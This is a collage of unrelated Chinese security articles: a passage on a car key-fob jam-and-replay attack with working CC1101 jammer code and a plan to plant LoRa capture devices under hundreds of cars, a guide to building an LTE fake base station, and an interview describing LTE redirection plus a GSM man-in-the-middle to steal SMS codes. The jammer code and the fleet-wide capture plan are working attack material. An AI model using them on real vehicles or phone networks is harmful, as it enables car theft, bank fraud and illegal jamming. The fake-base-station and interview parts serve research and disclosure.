nano上,任何手机都可以为nano供电,根据其收发强度,其有效范围可达10米。 这个没有太多技术含量,我修改了panstamp库来使其在315Mhz上工作,因为原本的库在433Mhz,868Mhz和915Mhz上工作,而这些频段我们都不需要。接下来我们需要找出315频段的频谱中的highbyte,middlebyte和lowbyte。 低,中,高是三个寄存器,其值可以改变工作频率。我使用的是12:29:137。 必须注意的是,在美国境内使用干扰器是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了使用的基础且没有深入,感谢理解! #include "EEPROM.h" #include "cc1101.h" CC1101 cc1101; // The LED is wired to the Arduino Output 4 (physical panStamp pin 19) #define LEDOUTPUT 7 // counter to get increment in each loop byte counter; byte b; byte syncWord = 199; void blinker(){ //digitalWrite(LEDOUTPUT, HIGH); //delay(100); //digitalWrite(LEDOUTPUT, LOW); ///delay(100); } void setup() { //Serial.begin(38400); Serial.begin(9200); Serial.println("start"); // reset the counter counter=0; Serial.println("initializing..."); // initialize the RF Chip cc1101.init(); cc1101.setSyncWord(&syncWord, false); cc1101.setCarrierFreq(CFREQ_315); cc1101.disableAddressCheck(); //cc1101.setTxPowerAmp(PA_LowPower); //Serial.print("CC1101_PARTNUM "); //cc1101=0 Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER)); //Serial.print("CC1101_VERSION "); //cc1101=4 Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER)); //Serial.print("CC1101_MARCSTATE "); Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f); } void send_data() { CCPACKET data; data.length=1000; data.data[0]=10; data.data[2]=1; data.data[3]=1; data.data[4]=0; //cc1101.flushTxFifo (); Serial.print(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER)); if(cc1101.sendData(data)){ send_data(); } } void loop() { send_data(); } 上面的代码是我在使用CC1101时发现的,对我们来说效果不是特别好。 我首先要直接发送一个脉冲信号来阻止所有其他信号。在数据数组中填充1似乎是不错的主意。 #include "EEPROM.h" #include "cc1101.h" CC1101 cc1101; CCPACKET data; void setup() { // initialize the RF Chip cc1101.init(); // For 315 MHz -> 0C1D8A // 0C1D8A gives 315000061.03515625 Hz cc1101.writeReg(CC1101_FREQ2, 0x0C); // Set Transmitter cc1101.writeReg(CC1101_FREQ1, 0X1D); // freq to cc1101.writeReg(CC1101_FREQ0, 0x8A); // 315 MHz data.length = 100; for(int a = 0; a < 100; a++) { data.data[a]= 1; // Filling the data array } } void loop() { cc1101.sendData(data); } 当受害者按下解锁按钮时,信号首先被拦截,然后干扰信号(我们称之为signalX)被捕获并保存,随后我们将使用GNURadio来从原始的钥匙信号信号(我们称之为signalY)中分离出我们创建的实际干扰信号。当受害者再次按下解锁按钮时,我们原来保存的signalX就被发送给汽车,signalY在稍后可以重放来解锁同一辆车。当信号被捕获时,你需要进行逆向才能发回。我使用GNURadio接收并解调原来的ASK信号,将其变成二进制调制波形,之后我可以用来重放。 振幅偏移调变(ASK)是振幅调制的一种形式,表示数字数据作为载波振幅的变化。在ASK系统中,通过在T秒的持续时间内传送固定幅度载波和固定频率来表示二进制1。如果信号值1不发送,则为0。 这个系统有用吗? 有用,我在两辆车和一辆卡车上测试了这个,都成功的打开了车门。可怕的是,任何人都可以花费不多的美元来实现这个系统;更可怕的是,SDR设备的价格正在稳步下滑,在这种情况下获取一个定制的设备会变得更加容易。 进阶 经过批量攻击概念的证明,我写了一些东西,证明了这种攻击不仅可以一次攻击一辆车,还可以一次攻击数百辆的汽车。下面是一些关键点。 购买捕获设备(我们称之为veh1),通过磁铁吸附在汽车下面,当对方的密钥信号被捕获和解调时,我们想通过网状网络发送这个信号。Wifi或者蓝牙的距离不足以传输信号,我会使用的LoRa(长距离低功耗无线通讯技术),其有效范围可达15英里。veh1连接到其中心设备,并将其二进制调制波形发送出去。如果能搭建一个类似发送包的网络就更好了,给每一个设备一个名字,这样一来你就知道那个设备对应的是哪辆车了。收集数据:车辆名称,颜色,位置和重放攻击数据。将其放置在任何车辆上,中央设备可以在几分钟内完成。 必须注意的是,在中国使用干扰器也是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了基础的思路且没有深入。该文章仅供研究如何防范,感谢理解! 原文链接:anthonys
看了2条360 Unicorn Team的微博后,感觉蛮有趣的,打算复现一下 谷歌了下相关资料,在HACKADAY找到了介绍文章 还有2篇北邮工学硕士的论文,欢迎有兴趣的朋友和我一起交流~ 联系方式在置顶文里面~
此文章PDF文档下载地址:点击下载 0x00 前言 在移动互联网深入普及和物联网开始规模应用的今天,网络安全公司怎能不研究移动安全,要研究移动安全,怎能没有4G/LTE伪基站研究测试环境? 本文介绍如何利用开源项目和SDR,合法的搭建并使用便携式4G/LTE伪基站,用于实验室的安全研究,或者用于用户授权的物理渗透测试。 0x01 合法开展研究活动 根据国家无线电管理法规,我们需要先取得频率、设备和人员许可才能合法的在通信业务频段进行收发。而已经分配给运营商的频段,需要该运营商同意才能使用。因此,我们做通信实验时,通常的做法不是申请许可,而是构造一个封闭的电磁空间,即法拉第笼,在这个空间里进行无线信号的发射和接收不会影响到外部世界。 法拉第笼是由金属或金属网包围形成的一个空间,大可以到一个大房子,小可能就是一个小箱子。测试时,如果法拉第笼比较小,我们就只把发射和接收无线电信号的天线放在法拉第笼里面,其它部分仍可放在外面,内外通过馈线连接。 0x02 硬件准备 SBC:UP Board, Intel Atom x5-Z8350 四核CPU,4GB RAM,64GB eMMC SDR:USRP B200mini + USB电缆 天线+馈线+双工器 充电宝:5V 3A(非常重要) 0x04 软件准备 1.Ubuntu 16.04 LTS 安装之后更新 sudo apt-get update sudo apt-get upgrade 2.必备软件:Git sudo apt-get install git 国内专享:Shadowsocks、Privoxy sudo apt-get install privoxy python-gevent python-pip sudo pip install shadowsocks 科学上网配置略。 0x05 安装步骤 1.eNodeB: OpenAirInterface git clone https://gitlab.eurecom.fr/oai/openairinterface5g.git cd openairinterface5g git checkout develop source oaienv cd cmake_targets ./build_oai -I --eNB -x --install-system-files -w USRP 2.EPC: OpenAir-CN git clone https://gitlab.eurecom.fr/oai/openair-cn.git cd openair-cn git checkout develop cd scripts ./build_hss -i ./build_mme -i ./build_spgw -i ./build_hss ./build_mme ./build_spgw 0x06 配置 1.eNodeB: 找到 ~/openairinterface5g/targets/PROJECTS/GENERIC-LTE-EPC/CONF/enb.band3.tm1.usrpb210.conf 进行如下修改,并另存为enb.band3.tm1.usrpb200.conf。 tracking_area_code = "13"; mobile_country_code = "460"; mobile_network_code = "01"; Nid_cell = 0; ////////// MME parameters: mme_ip_address = ( { ipv4 = "127.0.1.10"; ipv6 = "192:168:30::17"; active = "yes"; preference = "ipv4"; } ); NETWORK_INTERFACES : { ENB_INTERFACE_NAME_FOR_S1_MME = "lo"; ENB_IPV4_ADDRESS_FOR_S1_MME = "127.0.1.2/8"; ENB_INTERFACE_NAME_FOR_S1U = "lo"; ENB_IPV4_ADDRESS_FOR_S1U = "127.0.6.2/8"; ENB_PORT_FOR_S1U = 2152; # Spec 2152 }; 2.EPC: 修改hosts文件和hostname,然后重新启动。 sudo gedit /etc/hosts 127.0.0.1 localhost 127.0.1.1 mini.openair4G.eur mini 127.0.33.1 hss.openair4G.eur hss sudo gedit /etc/hostnamemini 复制EPC配置文件: sudo mkdir -p /usr/local/etc/oai/freeDiameter sudo cp ~/openair-cn/etc/mme.conf /usr/local/etc/oai sudo cp ~/openair-cn/etc/hss.conf /usr/local/etc/oai sudo cp ~/openair-cn/etc/spgw.conf /usr/local/etc/oai sudo cp ~/openair-cn/etc/acl.conf /usr/local/etc/oai/freeDiameter sudo cp ~/openair-cn/etc/mme_fd.conf /usr/local/etc/oai/freeDiameter sudo cp ~/openair-cn/etc/hss_fd.conf /usr/local/etc/oai/freeDiameter 编辑hss.conf ## MySQL mandatory options MYSQL_server = "127.0.0.1"; MYSQL_user = "root"; MYSQL_pass = "linux"; MYSQL_db = "oai_db"; 编辑mme.conf REALM = "openair4G.eur"; S6A : { S6A_CONF = "/usr/local/etc/oai/freeDiameter/mme_fd.conf"; # YOUR MME freeDiameter config file path HSS_HOSTNAME = "hss"; # THE HSS HOSTNAME }; GUMMEI_LIST = ( {MCC="460" ; MNC="01"; MME_GID="4" ; MME_CODE="13"; } # YOUR GUMMEI CONFIG HERE ); TAI_LIST = ( {MCC="460" ; MNC="01"; TAC = "13"; } # YOUR PLMN CONFIG HERE ); NETWORK_INTERFACES : { # MME binded interface for S1-C or S1-MME communication (S1AP), can be ethernet interface, virtual ethernet interface, we don't advise wireless interfaces MME_INTERFACE_NAME_FOR_S1_MME = "lo"; # YOUR NETWORK CONFIG HERE MME_IPV4_ADDRESS_FOR_S1_MME = "127.0.1.10/8"; # YOUR NETWORK CONFIG HERE # MME binded interface for S11 communication (GTPV2-C) MME_INTERFACE_NAME_FOR_S11_MME = "lo"; # YOUR NETWORK CONFIG HERE MME_IPV4_ADDRESS_FOR_S11_MME = "127.0.8.11/8"; # YOUR NETWORK CONFIG HERE MME_PORT_FOR_S11_MME = 2123; # YOUR NETWORK CONFIG HERE }; S-GW : { # S-GW binded interface for S11 communication (GTPV2-C), if none selected the ITTI message interface is used SGW_IPV4_ADDRESS_FOR_S11 = "127.0.8.1/8"; # YOUR NETWORK CONFIG HERE }; 编辑spgw.conf S-GW : { NETWORK_INTERFACES : { # S-GW binded interface for S11 communication (GTPV2-C), if none selected the ITTI message interface is used SGW_INTERFACE_NAME_FOR_S11 = "lo"; # YOUR NETWORK CONFIG HERE SGW_IPV4_ADDRESS_FOR_S11 = "127.0.8.1/8"; # YOUR NETWORK CONFIG HERE # S-GW binded interface for S1-U communication (GTPV1-U) can be ethernet interface, virtual ethernet interface, we don't advise wireless interfaces SGW_INTERFACE_NAME_FOR_S1U_S12_S4_UP = "lo"; # YOUR NETWORK CONFIG HERE, USE "lo" if S-GW run on eNB host SGW_IPV4_ADDRESS_FOR_S1U_S12_S4_UP = "127.0.6.1/8"; # YOUR NETWORK CONFIG HERE SGW_IPV4_PORT_FOR_S1U_S12_S4_UP = 2152; # PREFER NOT CHANGE UNLESS YOU KNOW WHAT YOU ARE DOING # S-GW binded interface for S5 or S8 communication, not implemented, so leave it to none SGW_INTERFACE_NAME_FOR_S5_S8_UP = "none"; # DO NOT CHANGE (NOT IMPLEMENTED YET) SGW_IPV4_ADDRESS_FOR_S5_S8_UP = "0.0.0.0/24"; # DO NOT CHANGE (NOT IMPLEMENTED YET) }; ... } P-GW = { NETWORK_INTERFACES : { # P-GW binded interface for S5 or S8 communication, not implemented, so leave it to none PGW_INTERFACE_NAME_FOR_S5_S8 = "none"; # DO NOT CHANGE (NOT IMPLEMENTED YET) PGW_IPV4_ADDRESS_FOR_S5_S8 = "0.0.0.0/24"; # DO NOT CHANGE (NOT IMPLEMENTED YET) # P-GW binded interface for SGI (egress/ingress internet traffic) PGW_INTERFACE_NAME_FOR_SGI = "eth0"; # YOUR NETWORK CONFIG HERE PGW_IPV4_ADDRESS_FOR_SGI = "192.168.12.82/24"; # YOUR NETWORK CONFIG HERE PGW_MASQUERADE_SGI = "yes"; # YOUR NETWORK CONFIG HERE }; ... # DNS address communicated to UEs DEFAULT_DNS_IPV4_ADDRESS = "192.168.106.12"; # YOUR NETWORK CONFIG HERE DEFAULT_DNS_SEC_IPV4_ADDRESS = "192.168.12.100"; # YOUR NETWORK CONFIG HERE ... } 编辑HSS freediameter配置文件 (/usr/local/etc/oai/freeDiameter/hss_fd.conf): Identity = "hss.openair4G.eur"; Realm = "openair4G.eur"; 编辑MME freediameter配置文件 (/usr/local/etc/oai/freeDiameter/mme_fd.conf): Identity = "mini.openair4G.eur"; Realm = "openair4G.eur"; ConnectPeer= "hss.openair4G.eur" { ConnectTo = "127.0.33.1"; No_SCTP ; No_IPv6; Prefer_TCP; No_TLS; port = 3868; realm = "openair4G.eur";}; 0x07 运行 安装证书: cd ~/openair-cn/scripts ./check_hss_s6a_certificate /usr/local/etc/oai/freeDiameter/ hss.openair4G.eur ./check_mme_s6a_certificate /usr/local/etc/oai/freeDiameter/ mini.openair4G.eur 首次运行HSS: cd ~/openair-cn/scripts ./run_hss -i ~/openair-cn/src/oai_hss/db/oai_db.sql 之后每次运行HSS: cd ~/openair-cn/scripts ./run_hss 运行MME: cd ~/openair-cn/scripts ./run_mme 安全测试通常不需要运行SP-GW。 运行eNB: cd ~/openairinterface5g source oaienv cd cmake_targets/lte_build_oai/build sudo -E ./lte-softmodem -O $OPENAIR_DIR/targets/PROJECTS/GENERIC-LTE-EPC/CONF/enb.band3.tm1.usrpb200.conf 0x08 高级玩法 1.对TD-LTE的支持 OAI本身支持TD-LTE。但是因为TD系统全网收发同步的要求,伪基站要正常工作,就必须与运营商现网同步。OAI已含有部分通过空中接口信号实现TD同步的代码,需要进一步修改才能完成与现网同步。 2.精简代码 如果我们只做网络安全研究,不做通信研究,就不需要完整的EPC。大部分公司只是研究空口的DoS攻击和RRC重定向攻击,每次只有少量固定格式的网络报文从MME返回,因此可以修改代码,直接返回我们想要的报文,或者执行我们想要的逻辑,就可以精简掉EPC,只运行lte-softmodem一个进程就好了。 3.连接运营商核心网 如果能从运营商核心网获得安全认证四元组:Kasme、AUTN、RAND、XRES,就能通过双向鉴权,让LTE手机相信我们的基站是真基站。这需要修改MME的代码和freeDiameter的配置来实现。 4.同一硬件集成LTE+GSM伪基站 5.架设自己的测试网 如果你对某一种高级玩法感兴趣,并且知道大体怎么实现,欢迎找我组队,可以一起做点有意思的(开源)通信安全项目,Seeker老师的微信:70772177。 0x09 结束语 在万物互联时代,了解LTE可用性和安全性的边界,事关我们每个人的人身安全和数据安全。 不管你是在开发无人驾驶汽车、医疗设备、智能电表,还是普通的移动应用,过于相信运营商网络的可用性和安全性都会带来安全威胁。不只是网络安全公司需要研究无线通信的安全,产品开发者同样需要。
这次公开课请来的嘉宾对自己的简介是: 连续创业失败的创业导师;伪天使投资人;某非知名私立大学创办人兼校长;业余时间在本校通信安全实验室打杂。 自从他在黑客大会上演讲《伪基站高级利用技术——彻底攻破短信验证码》后,黑产就盯上了这项技术。他们给能仿制这项攻击方法的人开价保底一个月 200 万元,外加分成。 这个攻击方法其实1秒钟可以血洗很多个银行账号。他说,保守估计一小时能带来 7000 万元的黑产产值。但是,他并不是为了钱。他的原话是:“短信验证码这种安全机制朽而不倒,我想把它推倒!” 他就是雷锋网宅客频道此前曾报道过的黑客 Seeker 。上次,Seeker 觉得自己和雷锋网聊了太多“花边八卦”,这次公开课,他决定好好聊聊“纯技术”(开玩笑!依然不会放过你的八卦) ,谈谈如何利用 LTE/4G 伪基站+GSM 中间人攻击攻破所有短信验证,以及应对攻略。 嘉宾介绍 Seeker,中国海天集团有限公司创始人兼CEO,IT老兵,网络安全专家,1994年起创业,几经起伏,至今仍在路上,主业是开办私立大学,研发互联网和网络安全类产品,提供IT技术培训和咨询服务。Seeker对新技术非常敏感,13岁开始编程,初中开始玩无线电通信,之后一直保持在网络安全和无线通信领域的研究兴趣。 问答精华回顾 1. 首先请Seeker老师进行简单的自我介绍。 Seeker:我是一个连续创业者,1994年大学毕业,当年在北京中关村创办第一家公司,从此一直在创业路上,创业方向主要是IT、互联网和教育,业务几经起落和调整,目前公司业务主要是开办私立大学,研发互联网和网络安全类产品,提供IT技术培训和咨询服务。 我一直对新技术、新管理理念、新创业方法等怀有浓厚兴趣,也追踪很多科技领域的发展,算是个意识领先、比较新潮的技术派。13岁开始编程,初中开始玩无线电通信,是电脑神童和少年HAM,之后一直保持在网络安全和无线通信领域的研究兴趣。工作的原因,我主要活跃在教育圈、创业圈和投资圈,但是业余时间,我大部分用于网络安全和无线通信领域的研究。 2. 为了不招来警察蜀黍,请在合法的基础上详细介绍一下LTE重定向+GSM中间人攻击的方法。 Seeker:我实现的这种攻击方法,能够证明短信验证码这种安全认证机制可被轻易突破,理应尽快放弃并使用更安全的认证机制。 先简单说说原理:攻击者可通过架设 LTE 伪基站吸引目标 LTE 手机前来附着(Attach),在附着过程中通过 RRC 重定向信令将该手机重定向到攻击者预先架设的恶意网络,通常是 GSM 伪基站,然后攻击者用另一部手机作为攻击手机,以目标手机的身份在运营商现网注册,从而在现网拥有目标手机的全部身份,能够以目标手机的身份接打电话、收发短信,这就是所谓 GSM 中间人攻击。这种攻击方法能够拦截掉发给目标手机的所有短信,因此可以攻破以短信验证码作为身份认证机制的任何网络服务,包括手机银行和手机支付系统。 需要说明的是,LTE RRC 重定向,不止可以对接 GSM 伪基站,还可以对接 CDMA 伪基站,以及破解过的 3G、4G Femto Cell,同样可以实现中间人攻击。即使对接 GSM,某些情况下也可以不架设伪基站,直接对接现网 GSM 基站,然后使用半主动式方式来拦截短信,不用中间人攻击也达到同样的短信拦截效果。 LTE 重定向+ GSM 中间人攻击的适用范围广,破坏性强。范围广,是通过LTE重定向攻击来实现的,因为LTE 伪基站覆盖范围内的 95% 以上的 LTE 手机会受影响。破坏性强,是通过中间人攻击这种形式,等于手机的电话短信的全部控制权在机主无法察觉的情况下转到了攻击者手里,不止可以拦截短信验证码,还可以组合出花样繁多的各种利用方法。 LTE重定向攻击的首次公开,是在今年5月出版的由 360 Unicorn Team 合著的新书《无线电安全攻防大揭秘》中简短提到,而在在国际上的第一次公开展示,是在 5 月底阿姆斯特丹的 HITB 上,由 360 Unicorn Team 的黄琳博士完成的。黄琳演示了一部中国联通的 iPhone 手机,被 LTE 伪基站重定向到 GSM 伪基站,验证了 LTE 重定向攻击的可能性。所以,我并不是第一个发现这个 LTE 可利用漏洞的人。 GSM 中间人攻击的历史更悠久,我既不是第一个发现的人,也不是第一个实现这种攻击方法的人。 GSM 中间人攻击在国内 2~3 年前就有黑产应用,最常见的就是号码采集系统,用来采集某位置附近的 GSM 手机号码,通过 GSM 伪基站+攻击手机劫持附近的 GSM 手机用户的身份去拨打一个特定电话号码,然后汇总该号码上的未接来电。这样在该位置附近经过的人的手机号码就不知不觉的泄露了。还有的黑产在劫持手机用户身份后发短信订阅某些SP服务,因为有明显的费用产生,用户容易察觉到。更隐蔽的做法是用来刷单,拿到手机号码后短时间保持身份劫持状态以拦截短信,然后迅速的完成网络用户注册开户或者某些敏感操作的短信确认,就可以实现批量自动注册用户和刷单了。还有今年发现的在国际机场附近劫持手机身份,然后在国外运营商网络里拨打主叫高付费电话的利用方式,就更恶性了。 我发现理论上可以把 LTE 重定向攻击和 GSM 中间人攻击这两者组合起来,形成一个广泛适用的,威力强大的攻击工具。以我对黑产的观察,这种工具迟早被黑产研发出来并加以利用。电信协议漏洞的时效性非常长,因为需要照顾现存的几十亿部手机终端。电信协议漏洞一旦被黑产利用,危害将广泛而持久。我个人预测,黑产将首先瞄准短信验证码这种已被证明不安全的认证机制,并先从手机银行和手机支付系统入手。各金融机构和网络服务商应充分警醒,早做准备,毕竟部署另一套身份认证系统需要不少时间。为了证明这种攻击不只理论上成立,而且很快会真实出现,让业界尽早放弃短信验证码,我编程实现了这种攻击组合,并在 8 月的 KCon 黑客大会上做了演讲《伪基站高级利用技术——彻底攻破短信验证码》。今天这次公开课,也是基于同样目的,就是再推一把短信验证码这个朽而不倒,很不容易推倒的认证机制,并提出替代解决方案。 遵循负责任披露(Responsible Disclosure)模式,我不会对外发布攻击源代码和实现的具体细节,避免被黑产从业者利用。但是我仍会披露足够多的信息,使各金融机构和网络服务商能充分重视,了解到安全威胁的严重性并准备替代解决方案。 以上是背景信息,下面进入正题。以下内容假设群友已初步了解 GSM 和 LTE 的基础知识。 LTE RRC重定向在现网中频繁使用,多见于LTE手机接打电话时的电路域回落(CSFB),是指LTE系统通过 RRCConnectionRelease 消息中的 redirectedCarrierInfo 指示手机/用户设备(UE)在离开连接态后要尝试驻留到指定的系统/频点。UE会先释放掉当前连接,然后重定向到指示的频点重新建立连接。 LTE RRC 重定向攻击的原理:LTE 伪基站吸引 LTE 手机前来附着,在收到手机发来附着请求(Attach Request)之后,安全流程启动之前,直接下发NAS消息拒绝附着(Attach Reject),紧接着下发 RRCConnectionRelease 消息,该消息携带 redirectedCarrierInfo 信息,指示手机关闭当前连接,然后转到攻击者指示的网络(2G/3G/4G)和频点(ARFCN),通常是预先架设好的恶意网络,去建立连接,从而方便攻击者实施下一步攻击。 LTE RRC 重定向攻击成立的原因:LTE 下手机(UE)和基站(eNodeB)应该是双向认证的,按理说不应该出现未认证基站真伪,就听从基站指令的情况。3GPP制定协议标准时,应该是在可用性和安全性不可兼得的情况下选择了可用性,放弃了安全性,即考虑发生紧急情况、突发事件时可能产生大量手机业务请求,网络可用性对于保证生命、财产安全至关重要,需要能及时调度网络请求,转移压力,这时候大量的鉴权、加密、完整性检查等安全措施可能导致网络瓶颈,因此被全部舍弃。 LTE 伪基站的搭建:硬件:高性能PC、bladeRF(或USRP B2x0)、天馈系统;软件:Ubuntu Linux、OpenAirInterface。相比 OpenLTE,OAI 的代码要成熟稳定的多,而且同时支持 TDD 和 FDD LTE 。 LTE RRC重定向攻击的编程实现:OAI(OpenAirInterface)代码中定义了 R8 和 R9 的 RRCConnectionRelase, 但是没有调用逻辑; 需要修改 MME 和 eNodeB 的代码,增加相应逻辑。 下面介绍 GSM 中间人攻击的原理:在目标 GSM 手机和运营商 GSM 基站之间插入一台GSM伪基站和一部GSM攻击手机。在目标附近启动伪基站,诱使目标手机来驻留(Camping),同时调用攻击手机去附着(Attach)现网的运营商基站,如果现网要求鉴权,就把鉴权请求(Authentication Request)通过伪基站发给目标手机,目标手机返回鉴权响应 ( Authentication Response ) 给伪基站后,该鉴权响应先传给攻击手机,攻击手机再转发给现网,最后鉴权完成,攻击手机就以目标手机的身份成功注册在现网上了。之后收发短信或接打电话时,如果现网不要求鉴权,就可以由攻击手机直接完成,如果需要鉴权,就再次调用伪基站向目标手机发起鉴权请求,之后把收到的鉴权响应转发给现网的运营商基站。 GSM 伪基站的搭建:硬件:普通 PC、USRP B2X0 + 天线(或Motorola C118/C139 + CP2102)。软件:Ubuntu Linux、OpenBSC。OpenBSC:由Osmocom发起并维护的一套高性能、接口开放的开源GSM/GPRS基站系统。 GSM 攻击手机的搭建:硬件:普通PC、Motorola C118/C139 + CP2102。软件:Ubuntu Linux、OsmocomBB。OsmocomBB:基于一套泄露的手机基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB 被设计成黑客的实验工具,而不是供普通用户使用的手机系统,其Layer 2和3是在PC上运行的,方便黑客编写和修改代码,实现自己的某些功能。 GSM 中间人(MITM)攻击的编程实现(OpenBSC):实现伪基站的基本功能;将附着手机的IMSI发给MITM攻击手机;接收来自攻击手机的鉴权请求,并向目标手机发起网络鉴权;将从目标手机接收到的鉴权响应发回给攻击手机。 GSM 中间人(MITM)攻击的编程实现(OsmocomBB):接收伪基站发来的 IMSI ;以此 IMSI 向对应运营商网络发起位置更新(Location Update)请求;如果运营商网络要求鉴权,则将收到的鉴权请求发给伪基站;接收伪基站发回的鉴权响应,转发给运营商网络,完成鉴权;开始使用仿冒身份执行攻击向量:接收/发送短信, 拨打/接听电话。如果某个操作需要鉴权,则重复之前的鉴权流程。 LTE RRC 重定向攻击的运行截图: GSM MITM 攻击的运行截图: 黑产可能的利用方式(轻量级):背包、小功率、小范围。每次影响少数几人,属于针对性攻击。 图中的 USRP B200mini 用来实现LTE伪基站,一部 Motorola C139 用来实现 GSM 伪基站,一部 Motorola C118 用来实现攻击手机。 黑产可能的利用方式(普通):架高/车载/背包、大功率、大范围。影响很多人,属于无差别攻击。LTE 伪基站将能覆盖半径 300 米内 95% 的LTE手机,峰值性能每秒可重定向 15-20 部 LTE 手机。每台 LTE 伪基站,需要4-5台GSM伪基站和100-150部攻击手机来对接。GSM 伪基站以合适的参数和方式架设,覆盖范围非常大,LTE手机一旦被LTE伪基站吸引并重定向到 GSM 伪基站,其驻留时间将足以完成几十次短信验证码的接收。攻击手机因为是通过 UDP 协议与 GSM 伪基站协同工作,理论上可以分散在互联网覆盖的任何地方。一旦这样的一套攻击系统被黑产架设起来,最坏的情况,将能以每秒 20 个手机用户的速度血洗他们的所有银行帐户,最好的情况,是被黑产用来刷单,每秒可完成约 100 次帐户注册。这样的系统威力很强,已超越黑产过去所拥有的各种攻击手段。 3. 这种攻击方法造成的后果是? Seeker: 1) 影响全部4G/LTE手机,快速简单粗暴。 2) 信息泄露。 3) 资金损失。 4) 如果被黑产利用,1秒可能血洗20部手机绑定的全部银行账户,1小时就可转款7000万元。 4. 有没有什么可以预防这种攻击的技术手段? Seeker:普通用户没有直接的办法。金融机构和网络服务商应尽快放弃短信验证码这种不安全的安全认证机制。 5. 电信业的朋友知道你们这种攻击方法后是什么态度? Seeker:没有得到官方的表态。电信业的朋友个人观点,主要是说电信是管道,是基础设施,应用安全应由商家自己负责解决。这跟TCP/IP协议和互联网的发展历史一样,从最初完全没有安全机制,到部分协议有安全机制,协议在不断升级完善,但是商家仍然都默认互联网不安全,从而必须自己在应用层设有安全机制。同理,电信网络也不能被信任,应在假设电信网络不安全的前提下设计应用层的安全机制。 6. 为什么专门研究攻破短信验证码? Seeker: 1) 危害大:各种重要操作普遍使用短信验证码作为安全机制; 2) 短信验证码朽而不倒,需要推倒; 3) 补充说明: 这只是我更广泛的渗透入侵研究的一部分,算是过程中的副产品。演示攻破手机银行账户只是为了证明危害性。 7. 短信验证码都被攻破了,那我们怎么办?谁可以负责任地出来做点什么? Seeker: 1) 解决方案:使用真正的双因子认证系统,然后尽可能照顾用户的易用性。 2) 普通用户:等待。 3) 应用服务提供商:未雨绸缪,技术准备。 4) 银行/电信等:商机,提供双因子认证的基础设施服务。 5) 我:提供解决方案和咨询服务。 8. 为什么说手机是渗透入侵最好的突破口? Seeker: 1) 手机是获得个人信息/敏感数据/权限的通道。 2) 手机经常被携带进出办公区域。在办公区域外,就是突破的好时机。 3) 手机可被多方式多层次渗透突破。 4) 手机早已是渗透入侵大型网路时最好的突破口,只不过之前的入侵多是以互联网为通路,多半是利用WIFI完成木马植入,植入的效率不高。 9. 能不能说说手机还有哪些安全隐患? Seeker: 1) SIM卡:OTA推送小程序; 2) 基带:蜂窝数据网络; 3) 操作系统:蜂窝数据网络/WIFI; 4) 应用层:蜂窝数据网络/WIFI; 5) 以上是远程,如果能物理拿到手机,BootLoader/TrustZone/HLOS/DRM…… 10. 电信网络还有哪些安全问题? Seeker: 1) 核心网/Femto Cell的问题; 2) 7号信令(SS7-MAP)/LTE Diameter互联的问题; 3) VoLTE的问题。 11. 听说有黑产在找你,能不能详细说说这中间的故事? Seeker:因为我在 KCon 的那个演讲的 PPT 里留过微信号,有的黑产业者看完后就来问我能不能合作……几乎每天都有吧。 12. 现在关于这个领域的黑产到底是怎样的规模?仿制你的技术的门槛在哪里? Seeker:黑产规模没有权威数字,我也不清楚。仿制的门槛还是有一些,需要熟悉电信协议+基站射频硬件+软件开发的一支研发团队。黑产现在还没到养研发团队的阶段,研发都是单兵在做,要突破就需要一段时间了。 13. 你研究这些是出于爱好还是?能抵御金钱的诱惑吗? Seeker: 1) 纯粹是爱好,我喜欢研究军事/情报机关神秘技术的原理并尝试自己实现。 2) 也是创业压力的释放,数字世界比真实世界更容易掌控。 3) 主业是创业。从挑战的角度,创业成功更具挑战。从更广泛的角度,社会本身是个大系统,是施展才华的更大战场。 4) 本人笃信社会价值创造理论,不创造社会价值的事都走不远。 14. 最近在研究什么不违法的新技术?违法的咱们就别说了。 Seeker: 1) 开源移动通信项目,基础/平台性质; 2) 4G/5G安全测试平台,测试基带安全; 3) 定位和攻击伪基站; 4) 运营商安全路测,测试基站配置隐患,众包方式。 15. 主业是商人,业余是这么牛的黑客,能不能传授一下经验——业余时间如何成功地钻研黑客业务? Seeker: 1) 没什么经验。人的精力都是有限的,我在黑客技术上的突破,通常发生在创业失败或主业的低谷时期。所以,根据目前我的技术表现,可以很容易的反推出我在企业发展上遇到了困难。 2) 保持技术不落伍,我有些经验:掌握原理看透本质,坚决拿下生命周期长的基础原理/核心技术,不在那些快速变化的浮华外表和细枝末节上浪费时间。 3) 另外补充一下,我不认为自己是商人。成功的企业家一定同时是成功的商人,但成功的商人不一定是成功的企业家。我虽然还算不上是成功的企业家,但从我决定创业的第一天,就是受企业家精神的驱动。 4) 之前我说过自己是个技术派,所以我以泛技术的视角来看待这个世界,我认为研发是技术,营销是技术,财务是技术,管理是技术,创业也是技术,这个世界就是一个技术的世界,只要是技术的,都应该不难掌握。如果说黑客技术是在一个比较窄的领域的一种智力游戏,那么在这个广阔的世界里创业和竞争,就更是一种有挑战有成就感的智力游戏。我花了更多精力在研究怎么做企业,比投在安全领域的精力多多了,从技术角度看已掌握了做企业的很多知识,按理说早该有所建树了。后来我发现我错了,这个世界是个复杂系统,而且很多东西比如管理即是技术同时也是艺术。复杂系统包含着不确定性,不是简单的逻辑推演成立结果就必然成立,这个跟黑客的数字世界是不一样的。所以,当我在现实世界受挫之后,跑回到数字世界去寻找 100% 掌控的感觉,也算是一种心理治疗吧。 16. 之前你还说过喜欢当面和同业人员交流,上次去360独角兽实验室,说了什么了不得的事情? Seeker: 1) 我喜欢遍寻天下高手交流切磋技术,经常陌生拜访认识新朋友。 2) 国内研究无线安全的氛围不浓,难得有一个专门研究无线安全的团队,大家惺惺相惜。 3) 答应担任独角兽团队的荣誉顾问,未来可能会有研究合作。 17. 为了表明此次讲座确实是为了建设和谐社会,请再和谐地说说自己做黑客的初衷以及以后的想法。 Seeker: 1) 本次讲座是为了推倒短信验证码这种不安全的认证机制,也许推倒很困难,但总要有人推。 2) 